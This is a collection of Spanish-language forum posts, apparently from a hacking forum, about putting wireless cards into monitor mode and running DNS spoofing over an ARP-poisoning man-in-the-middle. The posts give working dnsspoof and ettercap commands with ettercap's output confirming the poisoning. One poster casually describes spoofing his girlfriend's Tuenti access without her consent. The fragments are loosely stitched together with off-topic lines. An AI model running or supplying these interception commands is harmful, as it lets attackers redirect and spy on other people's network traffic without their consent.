Mensajes

Aqui el mio!:



Bastante sencillote eh 

Depende del procesador que uses si es de 64 bits o de 32 (x86)

Tambien puede ser que jesus supiera que se utilizarian las siglas en ingles  a mi siempre me han gustado este tipo de cosas, la verdad es que es interesante..

PD: algunas imagenes no se ven..

Te lo dije

Has probado el creador de discos de arranque que trae ubuntu?

Pues viene a decir basicamente que instales el paquete IW:

sudo aptitude install iw o..te lo descargas de http://wireless.kernel.org/download/iw/iw-0.9.19.tar.bz2][url]http://wireless.kernel.org/download/iw/iw-0.9.19.tar.bz2[/url] que tambien lo pone:

ERROR: Neither the sysfs interface links nor the iw command is available.
Please download and install iw from
http://wireless.kernel.org/download/iw/iw-0.9.19.tar.bz2


Read more: http://foro.elhacker.net/post.html;topic=298353.0;num_replies=10#ixzz0snMDUOaF

En fin despues tienes que poner la tarjeta en modo monitor...si no no funiona xD

PD: te recomendaria que leyeras sobre wireless hay mucha info en el subforo..

Pues la verdad es que no lo se muy bien..se me ocurre que hagas el mitm con ettercap sin utilizar el plugin dns_spoof y utilizar el dnsspoof aparte y despues lanzar el plugin chk_poison para comprobar si a funcionado..

PD: al final mi spoofeo si funciono...se me olvido quitarselo al tuenti y no veas el mosqueo que se pillo mi novia cuando no podia entrar al dichoso tuenti 

Saludos!

Has probado dnsspoof? esta en la suit dsniff.

Código [Seleccionar] Expandir

sudo dnsspoof -i tutarjeta -h archivohost

Se le pueden aplicar filtros y demas, mira el man

Y hay alguna manera de limpiar esa cache remotamente, es decir desde el pc atacante? o solamente se puede localmente?

[not routers.]

Tras leer el paper que te dejo kamsky (o al menos comenzar a leerlo) vi algo:

Address resolution protocol (ARP) cache poisoning is a MAC layer attack that can only
be carried out when an attacker is connected to the same local network as the target
machines, limiting its effectiveness only to networks connected with switches, hubs, and
bridges; not routers.

Traduccion:

Address Resolution Protocol (ARP) envenenamiento de la caché es un ataque de la capa MAC que sólo puede
llevarse a cabo cuando un atacante está conectado a la misma red local que el objetivo
máquinas, lo que limita su eficacia sólo a las redes conectadas con switches, hubs y
puentes, no routers.

Quizas sea ese el problema, yo estoy intentando tambien hacer el spoof con el siguiente escenario:

pc atacante: 192.168.1.1.129
pc victima: 192.168.1.1.130
Puerta de enlace (router): 192.168.1.1

hacemos el Mitm, yo estoy usando ettercap:

sudo ettercap -T -i wlan0 -P dns_spoof -M arp /192.168.1.1/ /192.168.1.130/

Código [Seleccionar] Expandir

Listening on wlan0... (Ethernet)

wlan0 -> 00:1C:BF:63:BB:52     192.168.1.129     255.255.255.0

Privileges dropped to UID 65534 GID 65534...

 28 plugins
 39 protocol dissectors
 53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.1.1 00:1A:2B:5B:E4:D7

GROUP 2 : 192.168.1.130 00:12:F0:2B:A5:92
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

Activating dns_spoof plugin...


y compruebo si se ha realizado con exito el spoof con el plugin chk_poison:

Código [Seleccionar] Expandir

Plugin name (0 to quit): chk_poison
Activating chk_poison plugin...

chk_poison: Checking poisoning status...
chk_poison: Poisoning process succesful!


luego voy a la maquina victima y me meto en tuenti.com (es la direccion que tengo spoofeada por poner un ejemplo asi *.tuenti.* A la dns de google que no recuerdo ahora cual es xD) pero no funciona..el pc victima ingresa correctamente al tuenti :S

Estoy usando tambien un router y claramente en el paper dice que no funciona con routers..podria ser ese el problema no?

Saludos!